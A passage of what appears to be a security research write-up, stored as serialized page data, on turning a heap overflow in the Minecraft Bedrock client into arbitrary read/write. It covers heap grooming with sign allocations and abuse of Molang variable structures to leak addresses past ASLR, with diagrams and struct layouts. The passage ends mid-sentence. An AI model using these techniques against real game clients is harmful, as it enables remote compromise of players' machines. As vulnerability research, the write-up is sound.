",{"type":23,"tag":209,"props":152410,"children":152412},{"className":152411},[],[152413],{"type":28,"value":148220},{"type":28,"value":152415}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":23,"tag":209,"props":152417,"children":152419},{"className":152418},[],[152420],{"type":28,"value":152206},{"type":28,"value":152422}," field will be overwritten:",{"type":23,"tag":202,"props":152424,"children":152426},{"code":152425}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[152427],{"type":23,"tag":209,"props":152428,"children":152429},{"__ignoreMap":7},[152430],{"type":28,"value":152425},{"type":23,"tag":24,"props":152432,"children":152433},{},[152434,152436,152441,152443,152448,152450,152455],{"type":28,"value":152435},"Once ",{"type":23,"tag":209,"props":152437,"children":152439},{"className":152438},[],[152440],{"type":28,"value":152206},{"type":28,"value":152442}," has been overwritten, ",{"type":23,"tag":209,"props":152444,"children":152446},{"className":152445},[],[152447],{"type":28,"value":148220},{"type":28,"value":152449}," allocation is freed immediately after, restoring the previous layout but with ",{"type":23,"tag":209,"props":152451,"children":152453},{"className":152452},[],[152454],{"type":28,"value":152206},{"type":28,"value":152456}," field corrupted:",{"type":23,"tag":202,"props":152458,"children":152460},{"code":152459}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[152461],{"type":23,"tag":209,"props":152462,"children":152463},{"__ignoreMap":7},[152464],{"type":28,"value":152459},{"type":23,"tag":24,"props":152466,"children":152467},{},[152468],{"type":28,"value":152469},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":23,"tag":202,"props":152471,"children":152473},{"code":152472}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[152474],{"type":23,"tag":209,"props":152475,"children":152476},{"__ignoreMap":7},[152477],{"type":28,"value":152472},{"type":23,"tag":24,"props":152479,"children":152480},{},[152481],{"type":28,"value":152482},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":23,"tag":202,"props":152484,"children":152486},{"code":152485}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[152487],{"type":23,"tag":209,"props":152488,"children":152489},{"__ignoreMap":7},[152490],{"type":28,"value":152485},{"type":23,"tag":18845,"props":152492,"children":152493},{},[],{"type":23,"tag":24,"props":152495,"children":152496},{},[152497],{"type":28,"value":152498},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":23,"tag":24,"props":152500,"children":152501},{},[152502],{"type":28,"value":152503},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":23,"tag":9693,"props":152505,"children":152507},{"id":152506},"molang",[152508],{"type":28,"value":152509},"Molang",{"type":23,"tag":24,"props":152511,"children":152512},{},[152513,152515,152522],{"type":28,"value":152514},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":23,"tag":36,"props":152516,"children":152519},{"href":152517,"rel":152518},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[40],[152520],{"type":28,"value":152521},"syntax guide",{"type":28,"value":124},{"type":23,"tag":24,"props":152524,"children":152525},{},[152526,152528,152533,152534,152539],{"type":28,"value":152527},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":23,"tag":209,"props":152529,"children":152531},{"className":152530},[],[152532],{"type":28,"value":8660},{"type":28,"value":1466},{"type":23,"tag":209,"props":152535,"children":152537},{"className":152536},[],[152538],{"type":28,"value":15743},{"type":28,"value":152540}," operators are supported.",{"type":23,"tag":24,"props":152542,"children":152543},{},[152544,152546,152552,152554,152559,152561,152566,152567,152572,152573],{"type":28,"value":152545},"Variables are defined by prepending ",{"type":23,"tag":209,"props":152547,"children":152549},{"className":152548},[],[152550],{"type":28,"value":152551},"variable.",{"type":28,"value":152553}," to the name and assigning a value. For example, to define ",{"type":23,"tag":209,"props":152555,"children":152557},{"className":152556},[],[152558],{"type":28,"value":9168},{"type":28,"value":152560}," as the sum of ",{"type":23,"tag":209,"props":152562,"children":152564},{"className":152563},[],[152565],{"type":28,"value":36},{"type":28,"value":1466},{"type":23,"tag":209,"props":152568,"children":152570},{"className":152569},[],[152571],{"type":28,"value":3319},{"type":28,"value":15390},{"type":23,"tag":209,"props":152574,"children":152576},{"className":152575},[],[152577],{"type":28,"value":152578},"variable.result = variable.a + variable.b;",{"type":23,"tag":24,"props":152580,"children":152581},{},[152582,152584,152589,152590,152595,152596,152601,152602,152607],{"type":28,"value":152583},"Logical operators such as ",{"type":23,"tag":209,"props":152585,"children":152587},{"className":152586},[],[152588],{"type":28,"value":22468},{"type":28,"value":424},{"type":23,"tag":209,"props":152591,"children":152593},{"className":152592},[],[152594],{"type":28,"value":73250},{"type":28,"value":424},{"type":23,"tag":209,"props":152597,"children":152599},{"className":152598},[],[152600],{"type":28,"value":434},{"type":28,"value":424},{"type":23,"tag":209,"props":152603,"children":152605},{"className":152604},[],[152606],{"type":28,"value":10545},{"type":28,"value":152608},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":23,"tag":202,"props":152610,"children":152612},{"code":152611},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[152613],{"type":23,"tag":209,"props":152614,"children":152615},{"__ignoreMap":7},[152616],{"type":28,"value":152611},{"type":23,"tag":24,"props":152618,"children":152619},{},[152620],{"type":28,"value":152621},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":23,"tag":18945,"props":152623,"children":152625},{"id":152624},"molang-internals",[152626],{"type":28,"value":152627},"Molang Internals",{"type":23,"tag":24,"props":152629,"children":152630},{},[152631],{"type":28,"value":152632},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":23,"tag":24,"props":152634,"children":152635},{},[152636],{"type":28,"value":152637},"Below we describe the structures involved and their memory layout.",{"type":23,"tag":18945,"props":152639,"children":152641},{"id":152640},"molangvariable-and-molangscriptarg",[152642],{"type":28,"value":152643},"MolangVariable and MolangScriptArg",{"type":23,"tag":24,"props":152645,"children":152646},{},[152647,152648,152654],{"type":28,"value":102404},{"type":23,"tag":209,"props":152649,"children":152651},{"className":152650},[],[152652],{"type":28,"value":152653},"MolangVariable",{"type":28,"value":152655}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":23,"tag":202,"props":152657,"children":152659},{"code":152658,"language":3244,"meta":7,"className":16566,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[152660],{"type":23,"tag":209,"props":152661,"children":152662},{"__ignoreMap":7},[152663,152675,152682,152694,152707,152715,152722,152729,152741,152754,152766,152796,152804,152811,152818],{"type":23,"tag":213,"props":152664,"children":152665},{"class":215,"line":216},[152666,152670],{"type":23,"tag":213,"props":152667,"children":152668},{"style":230},[152669],{"type":28,"value":9486},{"type":23,"tag":213,"props":152671,"children":152672},{"style":220},[152673],{"type":28,"value":152674}," MolangVariable {\n",{"type":23,"tag":213,"props":152676,"children":152677},{"class":215,"line":226},[152678],{"type":23,"tag":213,"props":152679,"children":152680},{"style":220},[152681],{"type":28,"value":61840},{"type":23,"tag":213,"props":152683,"children":152684},{"class":215,"line":524},[152685,152689],{"type":23,"tag":213,"props":152686,"children":152687},{"style":230},[152688],{"type":28,"value":6144},{"type":23,"tag":213,"props":152690,"children":152691},{"style":220},[152692],{"type":28,"value":152693}," HashedString {\n",{"type":23,"tag":213,"props":152695,"children":152696},{"class":215,"line":533},[152697,152702],{"type":23,"tag":213,"props":152698,"children":152699},{"style":230},[152700],{"type":28,"value":152701}," uint64_t",{"type":23,"tag":213,"props":152703,"children":152704},{"style":220},[152705],{"type":28,"value":152706}," variable_name_hash;\n",{"type":23,"tag":213,"props":152708,"children":152709},{"class":215,"line":543},[152710],{"type":23,"tag":213,"props":152711,"children":152712},{"style":220},[152713],{"type":28,"value":152714}," std::string variable_name;\n",{"type":23,"tag":213,"props":152716,"children":152717},{"class":215,"line":551},[152718],{"type":23,"tag":213,"props":152719,"children":152720},{"style":220},[152721],{"type":28,"value":39054},{"type":23,"tag":213,"props":152723,"children":152724},{"class":215,"line":570},[152725],{"type":23,"tag":213,"props":152726,"children":152727},{"style":220},[152728],{"type":28,"value":61840},{"type":23,"tag":213,"props":152730,"children":152731},{"class":215,"line":655},[152732,152736],{"type":23,"tag":213,"props":152733,"children":152734},{"style":230},[152735],{"type":28,"value":6144},{"type":23,"tag":213,"props":152737,"children":152738},{"style":220},[152739],{"type":28,"value":152740}," MolangScriptArg {\n",{"type":23,"tag":213,"props":152742,"children":152743},{"class":215,"line":1176},[152744,152749],{"type":23,"tag":213,"props":152745,"children":152746},{"style":230},[152747],{"type":28,"value":152748}," uint32_t",{"type":23,"tag":213,"props":152750,"children":152751},{"style":220},[152752],{"type":28,"value":152753}," value_type;\n",{"type":23,"tag":213,"props":152755,"children":152756},{"class":215,"line":1202},[152757,152761],{"type":23,"tag":213,"props":152758,"children":152759},{"style":230},[152760],{"type":28,"value":152701},{"type":23,"tag":213,"props":152762,"children":152763},{"style":220},[152764],{"type":28,"value":152765}," value;\n",{"type":23,"tag":213,"props":152767,"children":152768},{"class":215,"line":1758},[152769,152774,152778,152782,152787,152791],{"type":23,"tag":213,"props":152770,"children":152771},{"style":220},[152772],{"type":28,"value":152773}," std::vector",{"type":23,"tag":213,"props":152775,"children":152776},{"style":274},[152777],{"type":28,"value":434},{"type":23,"tag":213,"props":152779,"children":152780},{"style":230},[152781],{"type":28,"value":9486},{"type":23,"tag":213,"props":152783,"children":152784},{"style":220},[152785],{"type":28,"value":152786}," MolangScriptArg",{"type":23,"tag":213,"props":152788,"children":152789},{"style":274},[152790],{"type":28,"value":10545},{"type":23,"tag":213,"props":152792,"children":152793},{"style":220},[152794],{"type":28,"value":152795}," struct_fields;\n",{"type":23,"tag":213,"props":152797,"children":152798},{"class":215,"line":1767},[152799],{"type":23,"tag":213,"props":152800,"children":152801},{"style":220},[152802],{"type":28,"value":152803}," \n",{"type":23,"tag":213,"props":152805,"children":152806},{"class":215,"line":1789},[152807],{"type":23,"tag":213,"props":152808,"children":152809},{"style":220},[152810],{"type":28,"value":124092},{"type":23,"tag":213,"props":152812,"children":152813},{"class":215,"line":1812},[152814],{"type":23,"tag":213,"props":152815,"children":152816},{"style":220},[152817],{"type":28,"value":39054},{"type":23,"tag":213,"props":152819,"children":152820},{"class":215,"line":1838},[152821],{"type":23,"tag":213,"props":152822,"children":152823},{"style":220},[152824],{"type":28,"value":16629},{"type":23,"tag":24,"props":152826,"children":152827},{},[152828,152830,152835],{"type":28,"value":152829},"In memory a ",{"type":23,"tag":209,"props":152831,"children":152833},{"className":152832},[],[152834],{"type":28,"value":152653},{"type":28,"value":152836}," instance resembles:",{"type":23,"tag":202,"props":152838,"children":152840},{"code":152839}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[152841],{"type":23,"tag":209,"props":152842,"children":152843},{"__ignoreMap":7},[152844],{"type":28,"value":152839},{"type":23,"tag":24,"props":152846,"children":152847},{},[152848],{"type":28,"value":152849},"For reference, example debugger view of the layout:",{"type":23,"tag":24,"props":152851,"children":152852},{},[152853],{"type":23,"tag":4009,"props":152854,"children":152856},{"alt":50631,"src":152855},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":23,"tag":24,"props":152858,"children":152859},{},[152860],{"type":28,"value":152861},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":23,"tag":24,"props":152863,"children":152864},{},[152865,152867,152873,152875,152880,152882,152888,152890,152895,152896,152901,152903,152908,152909,152915,152916,152922],{"type":28,"value":152866},"We only care about the ",{"type":23,"tag":209,"props":152868,"children":152870},{"className":152869},[],[152871],{"type":28,"value":152872},"MolangScriptArg",{"type":28,"value":152874}," beginning at offset ",{"type":23,"tag":209,"props":152876,"children":152878},{"className":152877},[],[152879],{"type":28,"value":128971},{"type":28,"value":152881}," because it contains variable values. In the screenshot above, the ",{"type":23,"tag":209,"props":152883,"children":152885},{"className":152884},[],[152886],{"type":28,"value":152887},"value_type",{"type":28,"value":152889}," at ",{"type":23,"tag":209,"props":152891,"children":152893},{"className":152892},[],[152894],{"type":28,"value":128971},{"type":28,"value":5594},{"type":23,"tag":209,"props":152897,"children":152899},{"className":152898},[],[152900],{"type":28,"value":4116},{"type":28,"value":152902}," (meaning float), and the ",{"type":23,"tag":209,"props":152904,"children":152906},{"className":152905},[],[152907],{"type":28,"value":39209},{"type":28,"value":152889},{"type":23,"tag":209,"props":152910,"children":152912},{"className":152911},[],[152913],{"type":28,"value":152914},"0x38",{"type":28,"value":5594},{"type":23,"tag":209,"props":152917,"children":152919},{"className":152918},[],[152920],{"type":28,"value":152921},"0xbf2070c8",{"type":28,"value":124},{"type":23,"tag":24,"props":152924,"children":152925},{},[152926,152928,152934,152936,152941,152943,152948,152949,152954,152956,152961,152963,152968],{"type":28,"value":152927},"During assignment, such as ",{"type":23,"tag":209,"props":152929,"children":152931},{"className":152930},[],[152932],{"type":28,"value":152933},"variable.a = variable.b",{"type":28,"value":152935},", each field of ",{"type":23,"tag":209,"props":152937,"children":152939},{"className":152938},[],[152940],{"type":28,"value":152872},{"type":28,"value":152942}," is copied from variable ",{"type":23,"tag":209,"props":152944,"children":152946},{"className":152945},[],[152947],{"type":28,"value":3319},{"type":28,"value":56829},{"type":23,"tag":209,"props":152950,"children":152952},{"className":152951},[],[152953],{"type":28,"value":36},{"type":28,"value":152955},". Interestingly, the ",{"type":23,"tag":209,"props":152957,"children":152959},{"className":152958},[],[152960],{"type":28,"value":39209},{"type":28,"value":152962}," field is always copied as a ",{"type":23,"tag":209,"props":152964,"children":152966},{"className":152965},[],[152967],{"type":28,"value":55687},{"type":28,"value":152969}," even if the type is a 32-bit float.",{"type":23,"tag":24,"props":152971,"children":152972},{},[152973,152975,152981],{"type":28,"value":152974},"Each entity stores its variables in a per-entity vector called ",{"type":23,"tag":209,"props":152976,"children":152978},{"className":152977},[],[152979],{"type":28,"value":152980},"MolangVariableMap",{"type":28,"value":124},{"type":23,"tag":18945,"props":152983,"children":152985},{"id":152984},"molangvariablemap",[152986],{"type":28,"value":152980},{"type":23,"tag":24,"props":152988,"children":152989},{},[152990,152995,152997,153003,153005,153011],{"type":23,"tag":209,"props":152991,"children":152993},{"className":152992},[],[152994],{"type":28,"value":152980},{"type":28,"value":152996}," is simply a ",{"type":23,"tag":209,"props":152998,"children":153000},{"className":152999},[],[153001],{"type":28,"value":153002},"std::vector\u003CMolangVariable *>",{"type":28,"value":153004}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":23,"tag":209,"props":153006,"children":153008},{"className":153007},[],[153009],{"type":28,"value":153010},"std::vector",{"type":28,"value":153012}," layout:",{"type":23,"tag":202,"props":153014,"children":153016},{"code":153015,"language":3244,"meta":7,"className":16566,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[153017],{"type":23,"tag":209,"props":153018,"children":153019},{"__ignoreMap":7},[153020,153032,153048,153064,153080],{"type":23,"tag":213,"props":153021,"children":153022},{"class":215,"line":216},[153023,153027],{"type":23,"tag":213,"props":153024,"children":153025},{"style":230},[153026],{"type":28,"value":9486},{"type":23,"tag":213,"props":153028,"children":153029},{"style":220},[153030],{"type":28,"value":153031}," vector {\n",{"type":23,"tag":213,"props":153033,"children":153034},{"class":215,"line":226},[153035,153039,153043],{"type":23,"tag":213,"props":153036,"children":153037},{"style":230},[153038],{"type":28,"value":16599},{"type":23,"tag":213,"props":153040,"children":153041},{"style":274},[153042],{"type":28,"value":282},{"type":23,"tag":213,"props":153044,"children":153045},{"style":220},[153046],{"type":28,"value":153047},"buf;\n",{"type":23,"tag":213,"props":153049,"children":153050},{"class":215,"line":524},[153051,153055,153059],{"type":23,"tag":213,"props":153052,"children":153053},{"style":230},[153054],{"type":28,"value":16599},{"type":23,"tag":213,"props":153056,"children":153057},{"style":274},[153058],{"type":28,"value":282},{"type":23,"tag":213,"props":153060,"children":153061},{"style":220},[153062],{"type":28,"value":153063},"len;\n",{"type":23,"tag":213,"props":153065,"children":153066},{"class":215,"line":533},[153067,153071,153075],{"type":23,"tag":213,"props":153068,"children":153069},{"style":230},[153070],{"type":28,"value":16599},{"type":23,"tag":213,"props":153072,"children":153073},{"style":274},[153074],{"type":28,"value":282},{"type":23,"tag":213,"props":153076,"children":153077},{"style":220},[153078],{"type":28,"value":153079},"cap;\n",{"type":23,"tag":213,"props":153081,"children":153082},{"class":215,"line":543},[153083],{"type":23,"tag":213,"props":153084,"children":153085},{"style":220},[153086],{"type":28,"value":16629},{"type":23,"tag":24,"props":153088,"children":153089},{},[153090,153095,153097,153102,153104,153110,153112,153117,153118,153123],{"type":23,"tag":209,"props":153091,"children":153093},{"className":153092},[],[153094],{"type":28,"value":150176},{"type":28,"value":153096}," points to the allocated array of elements, ",{"type":23,"tag":209,"props":153098,"children":153100},{"className":153099},[],[153101],{"type":28,"value":9225},{"type":28,"value":153103}," points just past the last used element, and ",{"type":23,"tag":209,"props":153105,"children":153107},{"className":153106},[],[153108],{"type":28,"value":153109},"cap",{"type":28,"value":153111}," points to the end of the allocated buffer. Notably, the types of ",{"type":23,"tag":209,"props":153113,"children":153115},{"className":153114},[],[153116],{"type":28,"value":9225},{"type":28,"value":1466},{"type":23,"tag":209,"props":153119,"children":153121},{"className":153120},[],[153122],{"type":28,"value":153109},{"type":28,"value":153124}," aren't typical integer types for sizes, but both are pointers.",{"type":23,"tag":24,"props":153126,"children":153127},{},[153128],{"type":28,"value":153129},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":23,"tag":202,"props":153131,"children":153133},{"code":153132},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[153134],{"type":23,"tag":209,"props":153135,"children":153136},{"__ignoreMap":7},[153137],{"type":28,"value":153132},{"type":23,"tag":24,"props":153139,"children":153140},{},[153141,153143,153149,153151,153157],{"type":28,"value":153142},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":23,"tag":209,"props":153144,"children":153146},{"className":153145},[],[153147],{"type":28,"value":153148},"variable.result",{"type":28,"value":153150},") may differ between entities. To get around this, ",{"type":23,"tag":209,"props":153152,"children":153154},{"className":153153},[],[153155],{"type":28,"value":153156},"MolangIndexMap",{"type":28,"value":153158}," is used to map a global variable name to the correct per-entity slot.",{"type":23,"tag":18945,"props":153160,"children":153162},{"id":153161},"molangindexmap",[153163],{"type":28,"value":153156},{"type":23,"tag":24,"props":153165,"children":153166},{},[153167,153172,153174,153180,153182,153188],{"type":23,"tag":209,"props":153168,"children":153170},{"className":153169},[],[153171],{"type":28,"value":153156},{"type":28,"value":153173}," is a per-entity ",{"type":23,"tag":209,"props":153175,"children":153177},{"className":153176},[],[153178],{"type":28,"value":153179},"std::vector\u003Cuint16_t>",{"type":28,"value":153181},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":23,"tag":209,"props":153183,"children":153185},{"className":153184},[],[153186],{"type":28,"value":153187},"variable.result = 0",{"type":28,"value":153189}," it:",{"type":23,"tag":131,"props":153191,"children":153192},{},[153193,153203,153213],{"type":23,"tag":135,"props":153194,"children":153195},{},[153196,153198],{"type":28,"value":153197},"Checks the global hashmap for ",{"type":23,"tag":209,"props":153199,"children":153201},{"className":153200},[],[153202],{"type":28,"value":9168},{"type":23,"tag":135,"props":153204,"children":153205},{},[153206,153208],{"type":28,"value":153207},"If found, uses the global index to look up the per-entity index in ",{"type":23,"tag":209,"props":153209,"children":153211},{"className":153210},[],[153212],{"type":28,"value":153156},{"type":23,"tag":135,"props":153214,"children":153215},{},[153216,153218],{"type":28,"value":153217},"If not found, creates a new global entry and assigns it ",{"type":23,"tag":209,"props":153219,"children":153221},{"className":153220},[],[153222],{"type":28,"value":153223},"last_index + 1",{"type":23,"tag":24,"props":153225,"children":153226},{},[153227,153229,153234,153236,153241,153243,153248,153250,153255,153257,153262,153263,153269,153271,153276],{"type":28,"value":153228},"This means the same global index for variable ",{"type":23,"tag":209,"props":153230,"children":153232},{"className":153231},[],[153233],{"type":28,"value":9168},{"type":28,"value":153235}," maps to the same position inside every entity’s ",{"type":23,"tag":209,"props":153237,"children":153239},{"className":153238},[],[153240],{"type":28,"value":153156},{"type":28,"value":153242},", but the actual ",{"type":23,"tag":209,"props":153244,"children":153246},{"className":153245},[],[153247],{"type":28,"value":152653},{"type":28,"value":153249}," for ",{"type":23,"tag":209,"props":153251,"children":153253},{"className":153252},[],[153254],{"type":28,"value":9168},{"type":28,"value":153256}," may live at different slots inside each entity's ",{"type":23,"tag":209,"props":153258,"children":153260},{"className":153259},[],[153261],{"type":28,"value":152980},{"type":28,"value":18583},{"type":23,"tag":209,"props":153264,"children":153266},{"className":153265},[],[153267],{"type":28,"value":153268},"Entity.MolangIndexMap[global_index]",{"type":28,"value":153270}," stores the per-entity index (slot) of variable ",{"type":23,"tag":209,"props":153272,"children":153274},{"className":153273},[],[153275],{"type":28,"value":9168},{"type":28,"value":124},{"type":23,"tag":24,"props":153278,"children":153279},{},[153280,153282,153287,153289,153294,153296,153301,153303,153308,153310,153316,153318,153323],{"type":28,"value":153281},"Importantly, we found that indices in the ",{"type":23,"tag":209,"props":153283,"children":153285},{"className":153284},[],[153286],{"type":28,"value":153156},{"type":28,"value":153288}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":23,"tag":209,"props":153290,"children":153292},{"className":153291},[],[153293],{"type":28,"value":152980},{"type":28,"value":153295},". This means that if we overwrite the index of variable ",{"type":23,"tag":209,"props":153297,"children":153299},{"className":153298},[],[153300],{"type":28,"value":9168},{"type":28,"value":153302}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":23,"tag":209,"props":153304,"children":153306},{"className":153305},[],[153307],{"type":28,"value":152980},{"type":28,"value":153309},", we could read from and write to ",{"type":23,"tag":209,"props":153311,"children":153313},{"className":153312},[],[153314],{"type":28,"value":153315},"address + 0x38",{"type":28,"value":153317}," through ",{"type":23,"tag":209,"props":153319,"children":153321},{"className":153320},[],[153322],{"type":28,"value":153148},{"type":28,"value":124},{"type":23,"tag":9693,"props":153325,"children":153327},{"id":153326},"building-a-molang-arbitrary-rw-primitive",[153328],{"type":28,"value":153329},"Building a Molang Arbitrary R/W Primitive",{"type":23,"tag":24,"props":153331,"children":153332},{},[153333,153335,153340,153342,153347],{"type":28,"value":153334},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":23,"tag":209,"props":153336,"children":153338},{"className":153337},[],[153339],{"type":28,"value":153010},{"type":28,"value":153341}," - specifically, of ",{"type":23,"tag":209,"props":153343,"children":153345},{"className":153344},[],[153346],{"type":28,"value":152980},{"type":28,"value":153348}," vector.",{"type":23,"tag":24,"props":153350,"children":153351},{},[153352,153354,153359,153361,153366,153367,153372,153374,153379],{"type":28,"value":153353},"Because every entity object is heap-allocated and contains a ",{"type":23,"tag":209,"props":153355,"children":153357},{"className":153356},[],[153358],{"type":28,"value":152980},{"type":28,"value":153360}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":23,"tag":209,"props":153362,"children":153364},{"className":153363},[],[153365],{"type":28,"value":150176},{"type":28,"value":55844},{"type":23,"tag":209,"props":153368,"children":153370},{"className":153369},[],[153371],{"type":28,"value":152980},{"type":28,"value":153373}," vector belonging to an entity object placed just next the ",{"type":23,"tag":209,"props":153375,"children":153377},{"className":153376},[],[153378],{"type":28,"value":152980},{"type":28,"value":153380}," allocated buffer.",{"type":23,"tag":202,"props":153382,"children":153384},{"code":153383}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| +-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[153385],{"type":23,"tag":209,"props":153386,"children":153387},{"__ignoreMap":7},[153388],{"type":28,"value":153383},{"type":23,"tag":24,"props":153390,"children":153391},{},[153392,153394,153399,153401,153407,153409,153414,153415,153421,153422,153427,153429,153434,153436,153441,153443,153448,153450,153455,153457,153462,153464,153469,153471,153477,153479,153484,153486,153491],{"type":28,"value":153393},"In the scenario above, the ",{"type":23,"tag":209,"props":153395,"children":153397},{"className":153396},[],[153398],{"type":28,"value":153156},{"type":28,"value":153400}," would map ",{"type":23,"tag":209,"props":153402,"children":153404},{"className":153403},[],[153405],{"type":28,"value":153406},"variable.a",{"type":28,"value":153408}," -> index ",{"type":23,"tag":209,"props":153410,"children":153412},{"className":153411},[],[153413],{"type":28,"value":4116},{"type":28,"value":424},{"type":23,"tag":209,"props":153416,"children":153418},{"className":153417},[],[153419],{"type":28,"value":153420},"variable.b",{"type":28,"value":153408},{"type":23,"tag":209,"props":153423,"children":153425},{"className":153424},[],[153426],{"type":28,"value":4106},{"type":28,"value":153428},", and so on. If we overwrite the index for ",{"type":23,"tag":209,"props":153430,"children":153432},{"className":153431},[],[153433],{"type":28,"value":153406},{"type":28,"value":153435}," with a value that is out-of-bounds for the ",{"type":23,"tag":209,"props":153437,"children":153439},{"className":153438},[],[153440],{"type":28,"value":152980},{"type":28,"value":153442},", it can instead index the ",{"type":23,"tag":209,"props":153444,"children":153446},{"className":153445},[],[153447],{"type":28,"value":150176},{"type":28,"value":153449}," field of the entity object above. Reading ",{"type":23,"tag":209,"props":153451,"children":153453},{"className":153452},[],[153454],{"type":28,"value":153406},{"type":28,"value":153456}," will then return the pointer stored at offset ",{"type":23,"tag":209,"props":153458,"children":153460},{"className":153459},[],[153461],{"type":28,"value":152914},{"type":28,"value":153463}," from the start of the ",{"type":23,"tag":209,"props":153465,"children":153467},{"className":153466},[],[153468],{"type":28,"value":152980},{"type":28,"value":153470}," (which in this diagram corresponds to ",{"type":23,"tag":209,"props":153472,"children":153474},{"className":153473},[],[153475],{"type":28,"value":153476},"variable.f",{"type":28,"value":153478},"), and writing to ",{"type":23,"tag":209,"props":153480,"children":153482},{"className":153481},[],[153483],{"type":28,"value":153406},{"type":28,"value":153485}," will overwrite that pointer - corrupting ",{"type":23,"tag":209,"props":153487,"children":153489},{"className":153488},[],[153490],{"type":28,"value":153476},{"type":28,"value":124},{"type":23,"tag":24,"props":153493,"children":153494},{},[153495,153497,153502,153503,153509,153511,153516,153518,153524,153526,153531,153533,153538,153540,153546,153548,153554,153556,153561],{"type":28,"value":153496},"To leak the address of the Minecraft executable we could increment ",{"type":23,"tag":209,"props":153498,"children":153500},{"className":153499},[],[153501],{"type":28,"value":153406},{"type":28,"value":400},{"type":23,"tag":209,"props":153504,"children":153506},{"className":153505},[],[153507],{"type":28,"value":153508},"variable.a += 8",{"type":28,"value":153510},"), which advances the pointer used for ",{"type":23,"tag":209,"props":153512,"children":153514},{"className":153513},[],[153515],{"type":28,"value":153476},{"type":28,"value":153517}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":23,"tag":209,"props":153519,"children":153521},{"className":153520},[],[153522],{"type":28,"value":153523},"variable.a = variable.exe_leak + \u003Coffset>",{"type":28,"value":153525}," - this updates the ",{"type":23,"tag":209,"props":153527,"children":153529},{"className":153528},[],[153530],{"type":28,"value":153476},{"type":28,"value":153532}," pointer to our chosen address, and writing to ",{"type":23,"tag":209,"props":153534,"children":153536},{"className":153535},[],[153537],{"type":28,"value":153476},{"type":28,"value":153539},", for example ",{"type":23,"tag":209,"props":153541,"children":153543},{"className":153542},[],[153544],{"type":28,"value":153545},"variable.f = 1337",{"type":28,"value":153547},", writes the value ",{"type":23,"tag":209,"props":153549,"children":153551},{"className":153550},[],[153552],{"type":28,"value":153553},"1337",{"type":28,"value":153555}," to offset 